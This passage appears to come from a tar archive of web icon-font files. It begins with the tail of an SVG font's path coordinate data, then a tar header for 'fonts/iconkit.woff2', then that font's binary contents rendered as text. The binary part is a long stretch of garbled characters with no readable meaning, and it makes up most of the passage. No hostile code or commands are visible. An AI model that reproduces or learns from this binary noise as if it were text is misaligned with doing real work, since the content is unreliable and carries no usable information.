q70.8304 0.881126 130.688 3.15733q129.931 4.94783 165.248 14.3787q19.4439 5.51015 33.6545 19.7291q14.2105 14.2189 18.7402 32.1109q19.3077 106.96 18.9867 216.747q0.0230103 3.70682 0.0230103 7.41623q0 106.137 -18.711 210.61zM437.12 218.069
q-9.80276 -5.56963 -21.0773 -5.56963q-17.6559 0 -30.1572 12.4956q-12.5013 12.4955 -12.5095 30.1514v279.04v0.0229492q0 17.664 12.5013 30.1653t30.1653 12.5013q11.2746 0 21.0773 -5.56964l245.333 -139.52q8.95471 -5.07492 15.2923 -15.951
q6.33752 -10.8761 6.33752 -21.1689t-6.33752 -21.169t-15.2923 -15.951l-245.333 -139.52zM575.061 394.667l-116.395 66.1333v-132.267l116.352 66.1333z" />
  </font>
</defs></svg>
fonts/iconkit.woff2000064400000051670151677247160010333 0ustar00wOF2S�
��S^?FFTM V�r
����@�*6$� ��(���I��lF+*jIl����=9�����}Z*"t�
�Ȋ�mXv܂.���"3SLPI坪�Wb4��/��ڴS7�'��1%TL�u�e�C��;�؜����]�n���p�?�[6.c$+''/<Ov���@��ĭXr"h�&������/��_�C]zZ�5����N.ث��鸴ä;���p�={P(P;^�Վ4@
T��yko@o�}�	j`�༒�����c��;��0rD����Xw!������1��dȁGQIutGmB����n��~/�y��T���u��Z�$;��G�ě�$�0H��~ �����ö1.bVi���1���x�g!/���[�ϰW��s"+�=�����3 �"Җn����/�F����nEW|&�De[j�9�A&�(&�8�������/��y�N�~��e�ON��j�v��ފk�"�u�e�d��U]�e@B$���Z��f�L�A�f��oIj�:#w�к�X��t�y����mkU!�c�"� ���}��߯�!s��J���f0bD��mw�͚two�)�ϰB��I*����?F˾90(^1��4v�\�Xg!$�|�v�{2�������*�`t*r��A0e}$���r@��_KP�l�C`���ϴM��JF^H*sQ�����Ģ�a��k���,맮4ӄ�XӻBiJW�qBx�����d����_ۭ��JWu:�� ��$���Uݴ]?�Ӽʸ�J�n�q^��~ #(�$E3,��$+���u<_��g;��a'i�3\�Uݴ���4/��5B0�b8AR4�r� J��j�aZ��z~Fq�fy�)��i�~��n8�Η���0��4aBRic]^�Uݴ]?�Ӽ��~���?��yd��X$X$E3lN.n^> ��].�p��p������O��WQ=i�d�I~/]�{�̽Z��AXSQ	��f��S��n#�f'�F�zZ���Og ��Lk��h26��1
�T�$0W���u3@$�em.�`F����{dԠh�`Y�F#����f�L�j  B�t�'ݮ�Ҕ��N+��ܦ�2e�)�S��.@�ja��S�'�		��߬��,,����q��S��d�k���{�5:YN
s"cN����ŁsK��S�[�uV�!ާ��r��`r�e�[O��~�Њ�/�K߃y8���9"e���Y�I9�� ��M��G��^�������@���L8���j������^�`���m9W��<$�����	N��"a-9�<z��"�;�R�<1�>���,�Up��1o��^������,�G��0AP��
	�3�^�ʹ'щs�&,���2�����G.��?�~��e�?�-|���DX�Gl�&���W9ƹ����~o��� z8��9�!n���*�N�%jkU�k-�€�8k
S�Un��i�E��Vm.كx�/�͛R�a7w^\.�Z>f(>�Ҳ�W���L�����*�{��1�.���.%�����Ĝ��e�{�l�*Oz~V"�V�|vژ�|�ʓ�9��8�@�z;�BKF��S�.~���蔿'TK�)���u��~��
s���I���?>��H��ж��V��9�/cC�B܉R���!�f+Ɯ��6'��{�#���#�
��
��������ҹ-�P�"�ʝm]�m�!JS�N�aS+�s7����Q�vq��m�������j��ֺh��t��,c� ![PI!.�Qռ��sm�B!^���k�Ɍ'-I��Pd?S���2R�Vn��:�R
��0T��o-'�:�B�B�`��j��m�tq�+���v->y��n�P��D������?��
���B�@�Ŵ60�%�*�y�����B6C�U��!�y��u��*���[nY?���&�j$��YAHQZ��LB<��%G��`��
��,V�ޓ��&��:b)tLP�[��T?oG��W�,�l7��|-��l��Q�T�U�d�t֖����b�h��b�*@��X�{�E����.�E���@бV��7k�����2�l�$d�d�O�l!Q1
���$�Y�q����U����@��2P�d��H�az�n��XYP��.g�W�wkI���+,b�1`�f(�%�k4q�[�X�,��{�ly��4�����)I��웼��LwYh�w�.JR�3�V�AX�����	�">���}p��(.)/n]�l	�]�O���>i���x������Z��4?��B�"P5����jԎ�g/p��@��֖�v�.'x��j{�Dm�����mNTo��]�Ш40Pf�2<�NK�#�#�IJ�B0�r*)D��m}yZ�Y��$0�?�>W��NNB�q3.F����SM����dž*�����/��0���򹳿�x�e����1��|QF��T��������N�spm�-�Ln�<#ڠ���%ϱ��8�����%��⻸�r�sE2"���Dz���=�>��|Gw�"��(h�	wC@��Lctl�6�(Kd�j��B�Ё@55j(E:�.cW؈��(�\��bu&Жh�0o�">�7��h�F�-Hљh�{�
��i�&�'����5"Lr)9���h���u����?���*�3�l�V�����C
B����Ul�i�g<E�3| �i}�Jl`��i�N��j�6�"���L[�54�iQ��i��ݥ�5����:�͎�m���}f0��m8�mF������^��ۧk>�\R�����y}�[+QY5NJ|)֤J�C@�$�	�9%�'4ٶ���0�Vr��'��Q��#Z�������|�+�K �٦��S4tͱ�l�0`:`�8�1�vKbp��$������1<�+If=5��m�к}[ʜ��Σv�k��pm=w�碰
<)��$+ew�ʧ���@˲#��O&>�����#J�����TT�o���w�JJ1Q�lm%�20�$%삒r+PƪjzE�da}<�4�%t���X�ެav�s�?E�!Yq��*�d�'Sn�xK#�i�ڶ5����)�(���	���_N�?���mjqIq���KEV��#|_!����&�@���m��U��D�*9lϯ����Bt>IVj~`�{���ђ�o�}q���b[IK��b�!%��R"K��z��j}U5:��7�RT(�0�c��1P&��Wr7�nwf��f���=�
��Ĝ{�*�R]�8��R�c+
�S�;6d�7N�cJ��V��Em+ג�R>6�����!\\2eLm?2�l:�3���Ʈ
7��z�WxšH܁uh�EЭ�i@b��a;�3{?x�u��z��i��ٻ�*r��홏j���qe�>��ζ:-@l|ơt�B:^�a�@O��\ll�_�@4'���k�	�8���ء��?�Ԣ�#��'�?��xn��I���]Z�
�w��_�=Ԑ^�j}��.��'�L��W���O��W'�3���/���"�p�M��As����|Ö��E�f籢!P��;_H3[c�Zك��//9m�('}��1���I���t�@:~|�ߟ��Ɣ�'�}��W���9�6��
iC��d�-j��w$�a�ʐ��띓x���X����^	�C}'�ŵ�kdVh��^� a����+Ӷ�6�$?�Tρt����v�P6�PH,͘P�Ĝ*h)Պ�l:{�����;0��r�"�)R�؀;�8��V.�~��_\�{οW��M�;6H��=�+����%[
��mJ��}���X:Aݬ�A-=�mY��/�VԱ����þ
��{�u� ���ӧ��)%dv�9���,244%'��������eQ2�UW��u $l@t���E��2���[���v+J�su6��NY�e��u���~\���۽��~�|]�j�g�����:�G���j�]��pXR50N8�5BWV����#�Z曞܆���&�9v��<<�=��EC�D�6^Y�f9D�/n���m*�t���wv.ͱ�B�fh�U�vGN�RM
����d�l�T���[^Q�9�\I��%�V�Unj�v�9��������apu�q��t0��	� ol?>�|L!YQ4x�B�"hd�"�<�l�b ���;fh�Y"�k2x;U�H�
cv�r>܇}�&���[Z�G�]���w�UmΗ~�9���[�.��}������s�ۀ;�y�nG�e
����f�����DegD��6�6@�m������7x%8v��n|��ס�3����0�j���
�G:W�(*h�&�k�n���sq\���%�j���U�8�Zr�83�Fd��p��H�h�XXVc�yM��b�#����g�,yζ�r�#�c.����Y"�RU5��&?�^�]Aq��5U�}@Gmɦ���������}�u֦kq�7��Sl�#ԅG�o�~/p(��e<(�)=̺�����;\1KD������
�DR��U�ɍ�⌤��8�иI���2DfH�kP6��w��Z��P8��s|�J
��$_O�=i��8�jk(���y��50��!��ւK��/�ąi�
��Ol����g�;ב�LF�SI��F��6oe�s���/��%����t����Gaɸ�~����Tq��>���յ�����vZKok2�&=�7_�t��i���
�4�pW��.��f��ж�	�Z{�ܛ�GM�-���8��jΎ.=)�m���y,(���������O!�8sNv=$umE-[�.�v���:p�(d����v��\��;
�w�Y�1B+�/PV�՞�t�E�C���G���O�/]ce��V��
Iz�=����g_NQG��v�	��\3X�>��-p�\�Q��fO
�s��ނ����dV!]��b�O��ǁ���ggk�_Q��_�1�N���|�Z�*�٘z��(���i�".d��@n��1�-
?Yot'��}h�BQ�$d�'N�g�]�
���\�"���ņ�ǐ�u���a��k��ϛ�t��t,�ceT^ڡ.r�\t��!	7�"`H���,t
��D��3/��"��	�&�D�DB�kf��ݕ��o�NM�
���b{%�)�)��j	m)�dF��&�����#P�t�%k�ߤ���\hO���a-����(C��<7�=��:ɁZ��Z���>�І��]���n�It��W^�b�)Z֜���~א��b���m��v삀��-���Ab#�c�l)F��]^�Q���F=
��Dv�mW���h�ʹܶ��chȅ�=*��5VD�Y�g�G,bw	5Y�q����9����o�GX����9�ð��:��/����׺�ge�o�<#���Ǎ��Vh50a�ex�0 �1nܧ�	:f�0z�es�Y�,�R},�1D煆���
�O�����=��q�!丟F]�gC�;����vR�G���V�or��6�u�c�lC>��rK�:���Dֽ!2��_�K����4>��BIť`��
��Y��BN3�ԿW�+]���fU��v�rPzV�±j����zɬ��M1ߒ�//�(�y'����JI�tZ��#/�7���k�^�$�^��3p�gK�[$;�T��B�"�mHF�B�b�qoʕ�+Q��'��e�ɛ/w�
�E&70��MZXL��C�~�GÕu-M̂^��U�]C��-Ωlq�hk�+��b;���	��I�C���<s��,F�i
�v�?��j�r=���'��B/T�&m匨�A k<~i)2̡��q�.�0�!9�}��:��v�v���89�"�҉;���ь�7ݮI;�DB�.f���5�U?�8��'�)�!��b�p���x=b��/�o��}oi��q��#��y{�q�	ϔHf���w�q�2����!���:r�{セ��Ϫ����\I�K��[��,_�H�Хh��7p)wq����2�N��h��J���3���O��y�y���B��a ���mn#�[��˜�`����t�ق��S�8�āۅB��37�=��[�#ͱF�i��	�#�DZi��kJd��(�y��m�ktdvR��#���D_��M���'@�"��}��2��A<���?��E�~r��,&�<'}0�L�&(��e���F~w+�J�-�>�rA�B�=
[�m\]I�}�M�/���q{d�6�kZ�N�
�N�
gY�媣4t�Ϥs_����dQ�|�7~rb�k�y���7n����7�/���J�?�hg��>آ����(O�Q�T[ʺ2�*�<�I�l���E"��>(
��ٗ�C��p͇࿂�V�X����s�:2J $O�_�h}5�QC͜�h�V$�?��v��,er��/a�e��q��So�4k�#9���D� ��u�Ű�㦔�Y6��/��'�_�}���������՚�/,2��P=��߂q�fe��\5K��ׇ�_�j*�sۡ*|W��i5���"��V��mb���M+-@�;�E�i���
:X`%(��)KtF:Dx�׬�f'�v���(�uͨ�Q*� Pu��F匳�vڭ�e��[}�ƺ8�`xD_���9��9U8��u����w0���S?�	{�`�6v�����i��d�$4�W^[\���:�p
�P�2%��V�1���\���gw���2n׳Q��@/��ImD�4�F{48�YO\�L�d-D�2v���e���#=*�}_6�d(�'��	����@I!�����h �@�W���C��a��/��/�QW"`?6�o(�ҏ��#����JN����1�䡗x�%5�/>t�M,P�޾m�.�Z(�
���H�R��<�|uk�|�����҂"\|_�ŗɞ��Q�J������f��$+p%F���H�Z�� [G�E44�$��pW�>I������]���;qC���(���xG'������O{�j���5T��h)��5"�rr�J0�u����r�4��Z����Mݚ��+�@
ɞ}��}�i�ۂa�ȄL��э��n�ܤ�,=QR�#�:S�����30�*|F��@�>�^��r�kg|�����ˣs�L��"�'6լ�,�>3�Z�VO��Z8��]XZ���������{�6v�����g�#I�d��,ʉΊ��IP�[��)��
/��Z�g6+/������Ƭ��n�K��seU�=[�L�%��j��u
��5���}L��ye��� �Z��ys7%)�~Z�}��:���"j��__1h�(�a��}��Ĥ0�ƿLk�ع![�uA��������hZu��x���뽮6x��G��se-8�r���9��yU�)��)}@� ��qɾ`�8WE����)h�uh/�u��+��H���W��0��X���#�
���~� S�����h�Ǩ({K��h�l=�Y-�=�Ӷ�L�*Zڳ�Y�g��Q+]��MV�}��$�SY6]��A�a�\?H�Z�R	Z�0�r���xQ�F�n>��y�nΥ�Ϩd�qlS��L���'��O��a�aH�
������N�!�R��1���BO�:j@3�Ƹ�5D���Ԛ�ʟwO�I��f�zJܺI�A�{"��_ҧg��{ȯ�p�Q)o�ْ�3!���Vm�ڡ�B���q��نD�Լe�_Q6��Ϣ��NzkU��c�������ر��l�CM28(�`��_�'ө�WbQ�a�2�����KO�l޷��Y��*X%�Ar���
�k9I�%l�0p�|;�w�dC��{;~��ч]$ދ�[!}1b��"҆,�4�R᧬n�!������}��C�>U6v���z*98��i�|*>qr�S�
i�;*�q���{�P�N�]
���.��\����mJ�]ʹ��-�S���y�guID�{۩��)����l��mm�C�[��ɧ�x�?����&
�2w&&�l��%~2l��~�G��_�f�D���-���k�L}�:�W��>��{��it+('���n�.=sM����\�U�lM�l�1�̱Z��U���9�ppi���w��g��N�uel�駻�ʠ��?���Om	�&�%~,���xm��j�%�+�d�eH���kL�9&F�Z�E�h������;���ja4V����j�p�,|���_��{�丵��b���gX����g�9�����}2��l99]�=w�N�&	�b�ňfQ�4�0C5��E#ۛ��P��
z)���S7ʼn8������
ty[�o�������f��z�Vb5��HG��-�m`?�f��TlüWd>Z�tn��z<P�S�DB�'�z���jsm
���ފ$v�I��pօ�S�����m�����%�]{�/�8��Z\R�7���8T� �%�֩�C���TPC�7�(p�F�*�aZ���	t��05j�[Z�(š�R��hnT�KY%�&���6{�]8��ͩ�Y�WG�l-�vݚu4��xt�x^#�)M�G��12�,�Ư5l�qV��3sy/�y�N���.��+nӤq����4B�h����
�:���"��)��`2"�U+$�ĉ鏊�y�S">*F���?pă�fJ�:�e�kώ��L��.�B����>��̙R����u��
K�^&���4Տ%����^�@(&�Z���Z��6���nf�%����70���>94�˴
>\�?9��Sc�21����¹����`v>n�غ����t����n�e>J�W}� ���rf\���H���e�7�%ް�G��EŮ�öO���ڕ�d���ω�8}�g��m�eG���E�(:}�f:⇀{�	���YԄ�2x�S�<|s"��8�sͷ��3�ЕZ����|��?�����ia!UDz�B%sBC���t�����A���)�kq�+P���x��G��kQ��Y�,��ɒ��{��JY�(j�-0#�
��x��gO���t���.d��8%�%Q[�@#�������SmhJ#�m#HhC��(j @���+�`�#��y=n�*��=�.~M��
��kig�[�ڪ���nڴUc�����\�p�c'�ؽZ�&�Y�����
��'^[m 纟�b yD�Q�|���Ru���6Tè^%B
.���V����tRL��ߏM�M����5i��1��+�j3����Zb���O>�1A��ΐ�4�a��-��ĺ��#�����}�J�'b��-ZѷOt���Z�E$<t��e�i���%k�(�_���f�5qu	�u�����sk���Y��Nr�Hz>�y{W�b�Y��F�ߏ�np�){63ׅ���K��rEiZ�����_����Ne�^�)�L8wY_��'�Z�ހ�/͑N*b�Ia��^��/2'>�����A՘��ujSS�u����&
=��5;����-�52�,Y31��Ēk,Ƹ�WA���mt�ٰuђ�ڏ3���
���
ÙG�qktېr��^�ى�HMhW��ccsK:��4�!���y:A	GK�����"��h��E�Y���:�5b�湁X@�ث�%�̷8�G���
Dӝ��"N�̌�O$�8�&w󍹍lm�څ�<i*���eb��������
���Z����4����J.�> �7����?�����p�>������UX1��!#:!(}���Me�i(��u5��oh'c��-o���g�;�zw:�H[Ϟm�<��X��&I��G�(�<���ԘI0�m>Xh�~����N�o�͵:��Bۯn{E��)�I+���'�y�MM�5���%�=�jv%�x�m2�>�^��1�ZG��#Ŕ��Uc�sQW��9xW��q���T�m�-9��k���q��f��v�
6��/�9��=�~��ϾKv�,!��)ߒ��W��gŵ�T����ߒ�||t'�=��/rc6X�+�=�UL�9��I�~��w��Ԋ�q��4l�՘M�5�Y�VcM���.�[E6������2+�5����k�T���J�H�;��:�VCQ�+���88W�,�\�vݕ��|�Н���
*>8��nO��G�kM��#�9�p-����5�zx��I+�L-.�ň��x��D]��������_Wd��4�U�cj��7���L��(ү����.q�R�غiU)�
(%P:}@���*�M(
_ւQ��^��~���򣀢������GЋ���p�>WKz�*� c`�/�ss��5�Ί��MO�7c�;=��)n���Q��>�,C_sNB��@�HL}�Q�i�[���	���}�p6jC�T���jL��Y��A/�
�$墦��@��8��zD|��`�|U-�L�﫮�S�k���Me܁�"��'$�=���{��Ӫ��)k7TY�%q�k�A����Q���P�$��T�;$<��к)qQ}�Wmok�3OD��Z`턩��q�l�(N���]��'�%l���Yv���
ZE(�4)݄�0M�t1FhZ#����R��"<]��5ԉ���w��*DY�)�q���+^=�2i$��%�u7v���nky���/���ϴ�o
2��{�^���Ḗ�v�^LJ�s�o�
٩oS}K�hĿ͸:k�z�Z�ν��sѽi�}��
�iz},[�`�ghާA�h�}b� ��6.��b)�:CPMb�����G����`�r�C#��F�b�-��H���w�6x"O��\Ҷ4��KQvQ��N>X�g;I�ՙ7�=��h@m�.�4<^hKh(�eBC�<O

�UP;�[�]l�m����3���"_�į@*�T�����/���	���UuE�B�$3�ʌ�5e{Drѡ
;�	?�J��I��c�
��%1�a��if��P�#O�܊�.���LLjw���*j.OO_��'�|g�Ep���
>}pdO\>�ۍ���!֋G��E&�gJXV��<<I2s�.��C?��\jp�?r��Ȟؼe�b���s�i�'�Y�!扫��y^�W�׍���x���j9��ۂ��_WxqNh��Aҟ�,�,:h}`����4r�}"(�w����F��wI9I2r���*��"Y��ޒ��z��˩���w��h�5����/��N��0C{|��&o�[�0�*�S��y��@�G�N�>��T�i�����T�9̝�w8�ev�SD��u�rμ���$�:~��0����X����BC�� �?)ߎ�iԷ��O���|�(�ۊ
Si�u��7�k�w��aﭲ�?Ԇ�k�.7�Ui&�^��yM�^4c0𕘂;�"L�	��1�$Q�v��0vl�%�|�6,[�x�d#����Y#�HMp���F��ݭ���ݰ!��=7/hڅ�
Nl��V5�Űʋ��8m^�m��)ؓv$2���
V�TJrqE�44�٦b1�oFE�M�D%�[K�٨K����-G��,��ϫz�~����D��uii�i�ui)���>
9^��yU�!���m�7�f'����x�E9�W��
�(@x�iZ��w�g�������6KL��&c�fև'5y����t����66��_)��V�7jbr�0��9��6זQ���E+�䰰7�f{ʭ����-��d�^�����?i!�+��@x��*�@~WCs�S�C���C���X�����]��S�\�z�zY�q
�db�����
���7Ig��v1j�$�ݮ�6�/::h}�]t��a���G66M�6Z��>m�uܱ�����Og��v������(r���� YO�����l58�?�I�I���e�4>�mWK'��U�nWd��[e��[����9g�����튌A5Uc�)����k���@�*�p+�*�R���{F��7]K�G[p
�wG"�D�-�o�Z�j�
�*�������lS]!ч�E������ȇ48p^��	x�
�x�IV��y�c~�!����7�k��׻�R)�u�JB�\���ݺ��<�\�B)*4��]��qc~�=ߝ<�H���D��hطM@�[,�T���!���P˘�yFOϼ-4"Q�J�!.�o�'$�l�.��?$��%��&+
w�������j��t,zN�6�~=�����kյ����h0�F[�u	sϟ/]��'ͼ���	bJ;A��MP?�ph��lz���V�cѮ��,���M�L��`��5�V���_q�v�����҅^k�5jCe2�)1l�ԯ�g�:�9�ca�՝!
�k՞x|3k3��l�4K	�z�ڔ��(1K��^��G�?��+u�=�&\&V�I[t����۷6�ȽiM:�ӱ��",�+b־ڰjk��U��|[�?��/y���[ӭ�3[L^��⪄�z2���?�X��G�<�*���_ag���Dg�m|dO�U�kw~R�Y��8
Y|����T��
�Åv����T�i������ԭ��Wh`�[9��N��{���ߑW�Dʻ���NwOwK���|
��s��2����ʜ��6����sw��:���@G���ÝI)+-)��3Td?�cx�:N�G&��n�^:&�����N{�x�YEL�H��>L�3vۤ����i|R@�I����vD(���JLA�
3K�^G�Or��2�2�U�W�4$??�'&6�Գ][]V22RRV�m�,m��q���m>�]]�t���vS�j��Z��o�����>\�W�_��/���^)rR��V���*Qx5�1"#����褬t��tfgo�
`��3]\�Ttَ�����J����P4l�Ry���[K�8[9�m�]��lV6R7Al����������!���U����41~�w�b�T-�fl5������Y?ϵ�]�.��c���>���?.��
���%�|��a�̄�Pi?r2}4ޚC�Z�S��c�kP,+:,�p�r�j�P@���K-��̣�ѵ�8-'�A����K����?$I��aT�w����׎o#��i�d�}N���s!��W .ׄtp�f�r��\IP
>:��,��~c!75���V���j�v9:/�-5l�=~�f�$.�mH�!;Ш_�-���@55��'�?z�?]�F��3w�n���AT�5B̳%w���{�.&�:I�9�Sc`����Uc��i֛߲N31�[���l��Z��N�%��k֌[���]<���g7� ���k>%A C��=�;�p�ַ"�	�pO�����4�������{p�E��ۆ`H�>�=Q��}�>M�$��FF��A!��9��ۙ��-�ɕ������(���~��ٱ���~�#z������E��ca��;�� QAL��a*k_
����%�s�~��j�ݪ�[(N�0-�C-��O�XRp�
�-eY,H�pI�W��ٴ�i&�eK9r����>\��΂�=˜gc�	x�Dg����@�xI�}-0
���f|�7��o��^'MBTMs���<��2�XfbMg׽�&�M�>5��A�h0>�)Z\r�e��K���B�T�K�?(��|���w�x8#0ϑ�5�%�Yt�[�'4�[~�#Y��'R�r��z=~���nq$C�_^�<�JC�4#���[�@
~��~�܅[�^����x��_�2��O�+�w�1�i:���GC��,�{���\����F��W4�1R|S���Quv��������������ikb��֘Z�50Y�����&��1�$E	8�����̔���>Xz���ө�#���݇(�fV=��u p|���<�Rzf{��5@����r���W��=�h
eq^O7yr�@�z�}���=7i�
��b�D�4�8x'��ox�>��'�li����R^ފG[U^�WGN��U�u�W��O���(q;�{z�����ҥ�Ж�
�6��U�%�`�(*%�z!K�C.~D�HW#�)�g�k�ȡ"̹k��hZ�7r^i��t0��*�|�@�vG):%zJ�7�漙���'+'
w�0tB��5��ͳ;Z�z:�]:+��s��g��W׾�h?qw��Y��m�e���/�7:Ʒ0�Ozm��Q��97��#��v���2vÔN����nFkV�x�aӭ5rs����ۗ�,嫣�sE�7:FP��R�_s���xd��t��ó���A�i,��p%,n7���<�>�_�wE�{��`��s%�m�4��r���x%>�cS1���{!����I�
�f4M���)��e#�%#�9^ۻ3oRBi]��ٷ%�$D�EmӦ۷75�>���`�D&6�Wy��I��I(�eD�o�nk4��@b��Et���{����7t�@���V5YY9y[#�o/O�
l��'^�қ>[8��G���+
G���"����8��F�^T�u�bC����Nޝ�Z�xx�����}2�)#x�s�y��ap����9�"Ν�*ɟL�|�p�~K��ާ#g�C�=��S�Ꝏ3��o�u�(�K��C^ɱ��b̚�����	Xn�]��s�~/��@��"�D�D���gC^8������e
����pY���'����,���ykj���v�Wg>ziR������r�
Z8�X)쯾��h�(�?9n!�α_�JA���i��+=f<�W����K
����X<d�#�hb��������pen�!�A����G-O��zC�)^�&-A����O=�����㺤�9��f�i�]T0�1��j�V�|��`�T�h,(r2�vu�R��nxX�Cw;��|.<a�_�<�|0
i��䂀�+�r�^�*���*W{�Ը��N�k9OԴ���]3:�Ss�w�q�N�2˾f|P~-�����5N�֗"��2s��X�r)q-�:��i�uIv�9>3g��9�ŀ&��z��ψ&�Ov�!6~.:̋�:�`���|�f �$����YR����f�sNr+wuwG��Pw�m��1�8䭅OpQk����*G�����g>�����`v�YGzT��=��H�<d|������1�pF��9�Y��i��9�I���[�pT���A6�&�$���y,Z�m\���Ƒ,�XJ�zz���6A�TJGz"��\�k}��?��८Y�5�J�s#W�Hv��x�92)��ѪEJ')�<ŒB�xՉk9c1~�V�:�������\s�ņVB�$�(��[Bf�>v�dy�ڵ�e|� 
Y��ʿH��XS��`ۂMb�5k���:�Q0.�}}�
��o}	/wP~��yE�;�==�j������_٩�mm]��O����.u�R���R.��šV�.���@~�o�\��4�%˱��b/d+�~Ĝl�po�8u�j�C��ƽ�	S����3�iw��t�^NGP4ed�k��6��vd���U[J�
`���'�"2d�x8�ц
�����!ۑ�\;+˯�@���z��^ǒ��яV� ��ab̥�'�*�)���'HJ� �V!�PK{�
�7�槭4�ͪ��C�i�'�W/���%A�e�W}~��ʆihI3x�/��<}�8��6FP_���(� �Uwi�@ӹk��
9	�_-�		X��^^ssZ����Zټ�^�)*�d�FO�Z��0�Q��������?��m
�/B&�_�5߱�X����D+U���g��	g�2b|�6���Ț]��G,X���;/����دv���h��%��1���w
��'e�Y�&]��15JQP����x��_eO���]�$w7���y8b��FW]�K]6�{NI�B�n�S�.d�צ����F~o����	����+U���*[���Gه�n$j)&N������
 V���.>iy��C	�zF���!�~�3ǂHdH��3M���}��4O#����t3��	���”�;�Ga���jO��x���XU���1������&�JcN��DNc ;�>���P&���HB2�mBD�<J�����c�����+m�/����d�>�Xyt&X���TM��bzC�C�\v�ϰ)�B������oď�2�T���ȴ��$n��Fm��EI���*l����`�M/ʪ�dn��.r����1k?��8�E%rls���!��g�`�4�W�m������V�}���j3��-��)f3{���y�IW�J��q�[���{��$��`;\D���"�h�X@��%Mȶ�
��C�W��nv�Z�+
~C�����(���Ա�p5	���n�s���#�ݯtD�q���U�+��X�&�h�i"{2A�������l��*R�ң�J�}J��:�ϭ���Ȇ�c���y�>�}�S�_�M��BW��!	R�����1�r�&�.��FF6�d)��e$��	��93�x���ɽh'ǭ���yX.M�����;��jx)�8�B���m��{z�z� ;t���='3��*��edI?�ӎ�_��\X�(����"}7H��&��/݁��*Ϝ���P5j��B\[Sjmv�1�6kٓe�]�tET�Dr2�'��o�E�ɔ-/H_!�|�`RR-`��W�#�wy:��<�����x��Q��M^��Ī�MW���S̻cT��sO�`]����	L�9��d�2��Z��\���>y�lmTp>2�+
[���ZϞ��G��2�̥�w'�Y��;N����Z=�Y=�	3���*	�t��~��i�!�&)eQA��s���� 0L�٤��rp��9�֛�KN�W��a+x��Z��D������|�vz,��͎-��O75ܺ��F��I4�q՟NRD�	E�>z�ch)V����)��@S�zF����\���h���!S�	F�j%���#�#7 �u~�a��0[��'~�}}�?�{IQH��z�&Z�����������@1u�Y9��7����бz�J.���	���}S�26�2�#���޻�_�Pu��|�W�wF���:�G�ؽ���P�úZ�w���C���JaPP��EpFXȶ���g[L&$�)�ʠ���]�v�m��0��+&^�M� 7X&M,K|걋Sy^�ʠ�f�*d��{����
�nl5���J6��R���{��D�����C��a�i��ܖcM��[�ؼ��6�u��뎟U��VU%��~�wc���c�Ξq�?��;y:��� �����edB����T}�,�9�8��k{��79cF��ڗ7���	�#;4��,��ҕν�3-�z����O�{! ��Ab;���@����\7��s���x�Hpʟt�|O��eDŽ��M�:�qr�Ne�y��־z��O�,4��(U��0:<t0��ܿb*���+cR�2;�_E4�D����(b�˯�?�_S�ݒ�봪>A�7�5�~*\�C�N�f`���lj�J�b(.�c^�x���N��_��O��m�1v�5pn�>[D�����;�	ݓ�>_[śCfE�tfjM�Ȧ�q�6;�T�n{��a���Q�H��-����P����"�����,(��ώ��������У4=�c�@���^�RS6�b�@�_��'\/r�Ʈ7�_�G�5f]�{�[&_U1����o�3��C�0�O�=��)s�U�*Ć}�#��`H�ٸ���
9�=C�X�>N�Y�|@?����Di�xA�J�L�h�W�"���W�֠Z�q��S�#�J���ʯ����xؒF	��f���6�H�4i������^t��^:�ݻ���Z�G�v�S�>���&�V? �ӷU��E\�7g<�ƈ�mx�y��cs�P>��P)�L����HYe�45�����9�,�$��U����|���ekgf�.~dY�._Ԁ��8YE6*�D�W���`����b�b��{B�<��\�s�N�ػDH+�Xgg7�>��D� =�w\�a�)
� \��E�ߥ��>5��oeZ@V���e2�<���y�x1�49mE~�����IX0�༁%���,�:�s���~����ʤa�;�m'�+G�����|��/�u�i�n8���u;�"���֦M���SZ<:Z\RΜC�w�m`z=~�_h��U��/��߮Xq�@i��Q����ʩ�O
;��1��QC3�`�_��|����m���Q�*�,+��Q��t��pr�k�깋zNg].\X�% �K���Tg���$���A�"f�x����)k���nv�nj�=�߰H �0E�x��S�A�i	/�NBO�R˧�S����kD��7����=^��W4*��U�/6t�=	�D���F}8w8-<G�;	�~66�?K(���j��-XX\z���[��m���p�a����}#=?��u�~���C^'׋�R?r���I2�[����.�;|��7#�LLL��:�Sd�n�Jc��
��n���vC��1�e���yW��K����Ҥ�]�X�c�������ߕt8�f��I����Gk�5�m&F���֯71^��~���;���{:�����k�1�C��T������������peL����2��\�yOB������s��z\���QO��T3Ϳ�;'���U
ٔ�T�UOY���P�<��SXeM���|�x��-K�3f&@���ىt�q3�9yq�6��x�+����҄�+�-{4��$�JG����0�Ҡ��<6���:
��7�[{<t�-�dX�JKH0��*]��bݟ0�8n/�,�nB9���$q_��f*�	Sqj;Zk��3]�P�^M���O���aR���H(1��I���M�W��m��8?��D�A+��;m?����D���nj��ZnW�pJ�Π�S,X�$^���sƂ�E�{�o�T3WI��3���RJ����b1��@�	�T���;=�nf-��|@L�!��1R�!����$1�Z�5w��nP�Itl�1��ᬁUE)���ʠ�zr��w�&Zf�J36Ei�h��P�-2nN��^�+c/��r�)�u����Is	��r���K�5����Cg���b1Ψ�ra���`��$.��i�a�'
�
�ٺ	E%�7��d���c2�0�i����y(��|jQ��[�{-�#�v��,���)�i�~Q.��3�o|kfM�;�zp�8�>Ҭ��YK9�;ѝwǦ7�|�;�ˠt���l�{���ѽ���$@�����*Hfg���8lu0�QZ���y���7�u43ɒfh�Xg�l�y>l�f涖�{�T���%�r�3�mŁvc}a�D��
=3��i�C��W$�ԝn�ҽ���u�9��`�b��'Q��LEۜ�f�$IWr4rP]ĝΈ��b8��N��,�4���N��ٌ�KQ��!��4zHD:����CJP��Nɞ��#��Y�ȇ�S�!�h�X�����S��!��,����w�q(FYש'���iG�VL4j��wI�w���$��XS�m�ϟ�-T�H����5B!ȯC^�ejcU�����
�~�WQP���;_R�Sn�0e�/����"�D*�+`�J������lAP'H�fX���p���C�08�Bc�8<�H"S�4:��r�����cs�<�@(K�2�B�Rk�:��h2[:f6����!�G Qh�'�$2�J�3�,6����"�D*�+R�R��huz��dkg����������������!A1� )�ak8�B�Rk�:��h2[�6���r{�>aBRi��ī�˴l����u�C*�⧰6��'�@��ѧ��ů����4�r�����򐡟F���.J�3N>��~'��M%��"~R��PG�4��^�<D�}�=Z��J^�DtF[F�.�/��+X:�3�bcӲN����0���U����PfHr /�G�cA0�x`W��]6�U>(z3ݼ
�$B���8Qy������:D�F��}�y���qיM��$-Wm<K�@�vN6���ǧ�\�>-��dma��l�5����h�h��	��9-/�����s�<4}�&M�ܾ��wOQ��S����\8?Qu��ī=�
`c�6��$��{�O[
